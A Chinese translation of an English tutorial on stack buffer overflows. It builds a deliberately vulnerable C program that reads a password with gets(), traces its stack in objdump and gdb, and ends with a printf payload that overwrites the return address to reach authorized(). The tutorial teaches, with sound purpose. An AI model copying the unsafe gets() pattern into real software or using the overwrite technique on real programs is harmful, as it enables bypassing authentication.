from:http://www.spectrumcoding.com/tutorials/exploits/2013/05/27/buffer-overflows.html 翻譯的比較逗比,都是按照原文翻譯的,加了少量潤色。中間有卡住的地方或者作者表述不清楚的地方我都加了注,大家將就看吧=v=。
我不是一個專職做安全的人(注:作者是全棧攻城獅-v-),但是我最近讀了點東西,覺得它很有意思。
我在http://wiki.osdev.org/Expanded_Main_Page上看到了這些,在我進行操作系統相關開發時,我讀到了這些有關緩沖區溢出的文章。
因此我準備寫一個有關于C程序緩沖區溢出的簡短介紹。原因很簡單,我學到了這些東西,同時我也想讓大家練習練習。
我們今天準備分析一個需要正確輸入某個密碼才能通過驗證的程序,驗證通過后,程序會調用authorized()
函數。
但是,假設我現在忘了這個密碼或者不知道它,那我們就只好用緩沖區溢出的方式來調用authorized()
函數了。
那么,干正事兒了。首先,你應該知道什么是棧了,如果不知道的話趕緊去http://wiki.osdev.org/Stack看看。簡單來說它就是一個后進先出的結構,從高地址增長向低地址。我將通過下面的有問題的程序來解釋一下這個問題。
#!cpp
#include <stdio.h>
#include <crypt.h>
const char pass[] = "$1$k3Eadsf$blee.9JxQ75A/dSQSxW3v/"; /* Password */
void authorized()
{
printf( "You rascal you!\n" );
}
void getInput()
{
char buffer[8];
gets( buffer );
if ( strcmp( pass, crypt( buffer, "$1$k3Eadsf$" ) ) == 0 )
{
authorized();
}
}
int main()
{
getInput();
return(0);
}
代碼很簡單,用戶輸入一個密碼,然后程序把它加密起來,并且和程序中存儲的密碼對比,如果成功了,就調用authorized()
函數,你們就當這個authorized()
函數是用來讓用戶在登錄后干一些敏感操作的好了(雖然這個例子里面我們只打印了一串字符串)。那么,我們編譯一下,看看結果。
#!bash
[email protected] ~/D/p/overflow> gcc -ggdb -fno-stack-protector -z execstack overflow.c -lcrypt -o overflow
overflow.c: In function 'getInput':
overflow.c:12:2: warning: 'gets' is deprecated (declared at /usr/include/stdio.h:638) [-Wdeprecated-declarations]
gets(buffer);
^
[email protected] ~/D/p/overflow> ./overflow
password
[email protected] ~/D/p/overflow>
程序分配8字節的緩沖區,然后把用戶輸入存儲到這個緩沖區里面,然后調用函數把它加密,再和程序里的密碼對比。
我們編譯的時候會被編譯器提示gets()不安全,事實上也是,因為它并沒有做任何邊界檢查,所以我們就用它來調用漏洞了。
我們用objdump來dump一下生成的機器碼,看看這兒它做了什么:
#!bash
[email protected] ~/D/p/overflow> objdump -d -M intel blog
#!bash
blog: file format elf64-x86-64
Disassembly of section .init
...
Disassembly of section .plt:
...
Disassembly of section .text:
....
00000000004006a0 <authorized>:
4006a0: 55 push rbp
4006a1: 48 89 e5 mov rbp,rsp
4006a4: bf e2 07 40 00 mov edi,0x4007e2
4006a9: e8 a2 fe ff ff call 400550 <[email protected]>
4006ae: 5d pop rbp
4006af: c3 ret
00000000004006b0 <getInput>:
4006b0: 55 push rbp
4006b1: 48 89 e5 mov rbp,rsp
4006b4: 48 83 ec 10 sub rsp,0x10
4006b8: 48 8d 45 f0 lea rax,[rbp-0x10]
4006bc: 48 89 c7 mov rdi,rax
4006bf: e8 dc fe ff ff call 4005a0 <[email protected]>
4006c4: 48 8d 45 f0 lea rax,[rbp-0x10]
4006c8: be f2 07 40 00 mov esi,0x4007f2
4006cd: 48 89 c7 mov rdi,rax
4006d0: e8 8b fe ff ff call 400560 <[email protected]>
4006d5: 48 89 c6 mov rsi,rax
4006d8: bf c0 07 40 00 mov edi,0x4007c0
4006dd: e8 9e fe ff ff call 400580 <[email protected]>
4006e2: 85 c0 test eax,eax
4006e4: 75 0a jne 4006f0 <getInput+0x40>
4006e6: b8 00 00 00 00 mov eax,0x0
4006eb: e8 b0 ff ff ff call 4006a0 <authorized>
4006f0: c9 leave
4006f1: c3 ret
00000000004006f2 <main>:
4006f2: 55 push rbp
4006f3: 48 89 e5 mov rbp,rsp
4006f6: b8 00 00 00 00 mov eax,0x0
4006fb: e8 b0 ff ff ff call 4006b0 <getInput>
400700: b8 00 00 00 00 mov eax,0x0
400705: 5d pop rbp
400706: c3 ret
400707: 66 0f 1f 84 00 00 00 nop WORD PTR [rax+rax*1+0x0]
40070e: 00 00
我只保留了我們感興趣的部分,然后用intel語法格式化了一下反匯編數據。我們從main函數開始分析,因為這個對我們來說更有意義(總比從libc_start_main
和其他啥地方開始好)。
#!bash
00000000004006f2 <main>:
4006f2: 55 push rbp
4006f3: 48 89 e5 mov rbp,rsp
4006f6: b8 00 00 00 00 mov eax,0x0
4006fb: e8 b0 ff ff ff call 4006b0 <getInput>
400700: b8 00 00 00 00 mov eax,0x0
400705: 5d pop rbp
400706: c3 ret
400707: 66 0f 1f 84 00 00 00 nop WORD PTR [rax+rax*1+0x0]
40070e: 00 00
看看,這兒發生啥了?首先,rbp寄存器被壓到了棧上,之后會被rsp的內容替換。看看其他函數開頭,我們也會發現類似的東西:
#!bash
00000000004006a0 <authorized>:
4006a0: 55 push rbp
4006a1: 48 89 e5 mov rbp,rsp
...
00000000004006b0 <getInput>:
4006b0: 55 push rbp
4006b1: 48 89 e5 mov rbp,rsp
...
這叫函數初始化,當然函數最后也會有一個收尾工作。首先當前棧底指針(注:rbp)被壓入棧上,然后棧底指針被設置為當前棧頂的地址(注:rsp)。
前一個棧底指針指向它之前一個棧幀的棧頂,棧內就這樣一個個的連續不斷的指下去。這樣可以讓程序出錯的時候跟蹤棧,因為棧底指針可以一路向下指向另一個棧幀的開頭。
棧幀是一個函數調用在棧上使用的一片內存,它包含有參數(注:64位下如果系統決定用寄存器傳參,那參數這東西也有可能沒有)、返回地址和本地變量。我從wikipedia的文章里面偷來一張圖,大家可以看看:http://en.wikipedia.org/wiki/Call_stack
函數名雖然各不相同,但是狀況是一樣的,棧向下增長,所以一個函數的返回地址在相對于本地變量里更高的位置。我們回到之前的函數看看這對我們來說意味著啥。在函數初始化階段之后,有一個mov eax,0x0
的語句,那之后會調用了我們的getInput()
函數。
#!bash
00000000004006b0 <getInput>:
4006b0: 55 push rbp
4006b1: 48 89 e5 mov rbp,rsp
4006b4: 48 83 ec 10 sub rsp,0x10
4006b8: 48 8d 45 f0 lea rax,[rbp-0x10]
4006bc: 48 89 c7 mov rdi,rax
4006bf: e8 dc fe ff ff call 4005a0 <[email protected]>
4006c4: 48 8d 45 f0 lea rax,[rbp-0x10]
4006c8: be f2 07 40 00 mov esi,0x4007f2
4006cd: 48 89 c7 mov rdi,rax
4006d0: e8 8b fe ff ff call 400560 <[email protected]>
4006d5: 48 89 c6 mov rsi,rax
4006d8: bf c0 07 40 00 mov edi,0x4007c0
4006dd: e8 9e fe ff ff call 400580 <[email protected]>
4006e2: 85 c0 test eax,eax
4006e4: 75 0a jne 4006f0 <getInput+0x40>
4006e6: b8 00 00 00 00 mov eax,0x0
4006eb: e8 b0 ff ff ff call 4006a0 <authorized>
4006f0: c9 leave
4006f1: c3 ret
我們能看到類似的函數初始化功能,然后在gets之前就是一些有意思的指令。再給你們看看代碼:
#!cpp
void getInput() {
char buffer[8];
gets(buffer);
if(strcmp(pass, crypt(buffer, "$1$k3Eadsf$")) == 0) {
authorized();
}
}
棧上開擴出了一個16字節的地址(sub rsp, 0x10
),之后rax設置為了棧頂地址。這是要作甚?我們的緩沖區只有8個字,但是空間卻留了16個字節。 這是因為x86指令集流SIMD擴展要求必須要用16個字節對齊數據,所以里面還有8個字節純粹是為了對齊用的,這樣就把我們的空間偷偷摸摸的弄成了16個字節。
然后lea eax,[rbp - 0x10]
和mov rdi, rax
之后,rbp - 0x10
(即:棧頂)指向的地址會讀取到rdi,這個就是gets()
待會兒要寫入的對齊數據。可以感受一下,棧是向下增長的,但是緩存則是從棧頂(rbp - 0x10
)到rbp這個范圍。
那說了這么多我們到底要干啥呢?目標就是讓authorized()
函數跑起來。因此我們可以把當前函數的返回值直接改成auhtorized()
的地址。
當call指令執行的時候,rip(指令寄存器)將會被壓到棧上。這也就是為啥棧會在push rbp之后對齊到16字節的原因:返回地址只有8個字節長,rbp只好用另外8個字節來對齊了。讓我們在gdb里面加載一下我們的程序,跟一下看看棧上發生了啥:
#!bash
[email protected] ~/D/p/overflow> gdb overflow
GNU gdb (GDB) 7.6
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-unknown-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/cris/Documents/projects/overflow/overflow...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x00000000004006f2 <+0>: push rbp
0x00000000004006f3 <+1>: mov rbp,rsp
0x00000000004006f6 <+4>: mov eax,0x0
0x00000000004006fb <+9>: call 0x4006b0 <getInput>
0x0000000000400700 <+14>: mov eax,0x0
0x0000000000400705 <+19>: pop rbp
0x0000000000400706 <+20>: ret
End of assembler dump.
我們可以看到main()函數的反匯編代碼如上,我們想在進入main()之后立馬看到棧,所以我們在push rbp的地方設置一個斷點,然后啟動程序,dump一下棧:
#!bash
(gdb) b *0x00000000004006f2
Breakpoint 1 at 0x4006f2: file overflow.c, line 19.
(gdb) start
Temporary breakpoint 2 at 0x4006f6: file overflow.c, line 21.
Starting program: /home/cris/Documents/projects/overflow/overflow
Breakpoint 1, main () at overflow.c:19
19 int main() {
(gdb) x/8gx $rsp
0x7fffffffe6f8: 0x00007ffff7818a15 0x0000000000000000
0x7fffffffe708: 0x00007fffffffe7d8 0x0000000100000000
0x7fffffffe718: 0x00000000004006f2 0x0000000000000000
0x7fffffffe728: 0xab4f0bd07ac4a669 0x00000000004005b0
這樣我們就能看到現在棧其實還沒有對齊到16字節。我們剛剛執行了一下到main的調用,所以我們希望棧頂的值就是main的返回地址。我們可以反編譯一下這個地方的代碼來驗證一下,我們看看__libc_start_main
,我已經把輸出數據里沒用的都刪了。
#!bash
Dump of assembler code for function __libc_start_main:
...
0x00007ffff7818a0b <+235>: mov rdx,QWORD PTR [rax]
0x00007ffff7818a0e <+238>: mov rax,QWORD PTR [rsp+0x18]
0x00007ffff7818a13 <+243>: call rax
0x00007ffff7818a15 <+245>: mov edi,eax
0x00007ffff7818a17 <+247>: call 0x7ffff782ecd0 <exit>
...
End of assembler dump.
地址0x00007ffff7818a15上是mov edi,eax
,然后緊跟著一個調用exit()的指令。 eax包含有我們的退出代碼,這個就是exit函數的返回代碼。所以,我們已經確認了棧頂就是我們的main的返回地址,rbp在這個指針上時是null,所以在它之后壓入棧內的兩個QWORD是:0x0000000000000000和0x00007fff7818a15。我們將步過(注:step over,直接執行下一條語句,不管是指令還是函數調用,都執行到它的后一行停下來),然后在getInput()
里面下斷點并且停下來:
#!bash
(gdb) disas getInput
Dump of assembler code for function getInput:
0x00000000004006b0 <+0>: push rbp
0x00000000004006b1 <+1>: mov rbp,rsp
0x00000000004006b4 <+4>: sub rsp,0x10
0x00000000004006b8 <+8>: lea rax,[rbp-0x10]
0x00000000004006bc <+12>: mov rdi,rax
0x00000000004006bf <+15>: call 0x4005a0 <[email protected]>
0x00000000004006c4 <+20>: lea rax,[rbp-0x10]
0x00000000004006c8 <+24>: mov esi,0x4007f2
0x00000000004006cd <+29>: mov rdi,rax
0x00000000004006d0 <+32>: call 0x400560 <[email protected]>
0x00000000004006d5 <+37>: mov rsi,rax
0x00000000004006d8 <+40>: mov edi,0x4007c0
0x00000000004006dd <+45>: call 0x400580 <[email protected]>
0x00000000004006e2 <+50>: test eax,eax
0x00000000004006e4 <+52>: jne 0x4006f0 <getInput+64>
0x00000000004006e6 <+54>: mov eax,0x0
0x00000000004006eb <+59>: call 0x4006a0 <authorized>
0x00000000004006f0 <+64>: leave
0x00000000004006f1 <+65>: ret
(gdb) b *0x00000000004006b1
Breakpoint 3 at 0x4006b1: file overflow.c, line 9
(gdb) c
Continuing.
Breakpoint 3 0x00000000004006b1 in getInput () at overflow.c:9
9 void getInput() {
(gdb) x/8gx $rsp
0x7fffffffe6e0: 0x00007fffffffe6f0 0x0000000000400700
0x7fffffffe6f0: 0x0000000000000000 0x00007ffff7818a15
0x7fffffffe700: 0x0000000000000000 0x00007fffffffe7d8
0x7fffffffe710: 0x0000000100000000 0x00000000004006f2
我已經解釋過上面這些元素是啥了,我們可以驗證一下0x0000000000400700 就是ret的返回地址,getInput()
再次返回main()
里面。
#!bash
...
0x00000000004006fb <+9>: call 0x4006b0 <getInput>
0x0000000000400700 <+14>: mov eax,0x0
...
現在,接下來幾個命令將在棧上擴展16字節,之前也說過了,然后調用我們的gets()
函數。我們在gets()
之后下個斷點,然后繼續執行:
#!bash
(gdb) b *0x00000000004006c4
Breakpoint 4 at 0x4006c4: file overflow.c, line 14.
(gdb) c
Continuing.
aabbccdd
Breakpoint 4, getInput () at overflow.c:14
14 if(strcmp(pass, crypt(buffer, "$1$k3Eadsf$")) == 0) {
(gdb) x/8gx $rsp
0x7fffffffe6d0: 0x6464636362626161 0x0000000000400500
0x7fffffffe6e0: 0x00007fffffffe6f0 0x0000000000400700
0x7fffffffe6f0: 0x0000000000000000 0x00007ffff7818a15
0x7fffffffe700: 0x0000000000000000 0x00007fffffffe7d8
我輸入了密碼“aabbccdd”,這樣我們看起來方便點。從gets()
返回之后,因為我們使用了sub rsp,0x10
,所以,棧上還有其他16個字節在之前這些數據的“下面”。因為這些被當作是緩沖區來用的,所以我們可以看到字節被存儲為反的順序(注:這句作者說的有點玄乎,我按原文翻譯下來了,其實就是Little-Endian啦,看不懂作者說啥的看這里看這里:http://zh.wikipedia.org/wiki/%E5%AD%97%E8%8A%82%E5%BA%8F#.E5.B0.8F.E7.AB.AF.E5.BA.8F)。 0x61是小寫字母a的ASCII碼,0x62是b,以此類推。如果我們輸入16個字節a的話,我們可以看到我們的數據“填充上”了棧區:
#!bash
(gdb) b *0x00000000004006c4
Breakpoint 4 at 0x4006c4: file overflow.c, line 14.
(gdb) c
Continuing.
aaaaaaaaaaaaaaaa
Breakpoint 4, getInput () at overflow.c:14
14 if(strcmp(pass, crypt(buffer, "$1$k3Eadsf$")) == 0) {
(gdb) x/8gx $rsp
0x7fffffffe6d0: 0x6161616161616161 0x6161616161616161
0x7fffffffe6e0: 0x00007fffffffe6f0 0x0000000000400700
0x7fffffffe6f0: 0x0000000000000000 0x00007ffff7818a15
0x7fffffffe700: 0x0000000000000000 0x00007fffffffe7d8
因此,如果我們提供一個足夠長的輸入數據,我們就可以用authorize的地址來覆蓋這個函數該返回的返回地址。反編譯一下authorized()
函數來獲取一下我們所需要的地址:
#!bash
(gdb) disas authorized
Dump of assembler code for function authorized:
0x00000000004006a0 <+0>: push rbp
0x00000000004006a1 <+1>: mov rbp,rsp
0x00000000004006a4 <+4>: mov edi,0x4007e2
0x00000000004006a9 <+9>: call 0x400550 <[email protected]>
0x00000000004006ae <+14>: pop rbp
0x00000000004006af <+15>: ret
End of assembler dump.
現在我們所有要做的就是把getInput的返回地址覆蓋為0x00000000004006a0
,而且我們可以做到。我們可以在shell里用printf把數據傳給程序,你可以用\x來轉意16進制數據,因為地址是倒著來的(注:小端),所以我們也倒著給它就好了。還有,我們需要用0x00來終止我們的緩存,這樣strcmp就不會在我們函數返回之前引起一個段錯誤。printf的結果如下:
#!bash
printf "aaaaaaaaaaaaaaaaaaaaaaa\x00\xa0\x06\x40\x00\x00\x00\x00\x00" | ./overflow
這有16個a,還有7個空字符(\x00
)來覆蓋rbp,最后,我們用我們的目標地址覆蓋了正常時的返回地址。如果我們運行它的話,程序將會觸發漏洞,直接跑到authorized()里。盡管我們還沒輸啥對的密碼。
#!bash
[email protected] ~/D/p/overflow> printf "aaaaaaaaaaaaaaaaaaaaaaa\x00\xa0\x06\x40\x00\x00\x00\x00\x00" |
./overflow
You rascal you!
fish: Process 9299, “./overflow” from job 1, “printf "aaaaaaaaaaaaaaaaaaaaaaa\x00\xa0\x06\x40\x00\x00\x00
\x00\x00" | ./overflow” terminated by signal SIGSEGV (Address boundary error)
我們的程序會有段錯誤,因為棧上指向__libc_start_main
的返回地址沒有對齊(main開頭的push rbp一直沒pop),但是我們還是可以看到它打印了“You rascal you!”,所以我們可以知道authorized()
函數事實上已經執行成功了。
這就是啦!一個簡單的緩沖區溢出,如果你知道這是怎么發生的話,你會覺得這個太牛逼太好玩了,只要棧上數據仍然可執行,你就可以把代碼扔到棧上的一個緩沖區里面,比如這樣,然后把返回地址指向緩沖區,這樣就能用該進程的權限執行你自個兒的代碼了。這已經不可能了(注:作者估計是指一些較新的系統已經禁止棧上數據的執行權限了),但是還是可以修改函數的返回地址,這還是同樣給力。
一些其他給想要學習的人的連接(英文,作者給的): http://insecure.org/stf/smashstack.html http://www.eecis.udel.edu/~bmiller/cis459/2007s/readings/buff-overflow.html https://developer.apple.com/library/mac/#documentation/security/conceptual/SecureCodingGuide/Articles/BufferOverflows.html http://www.ibm.com/developerworks/library/l-sp4/index.html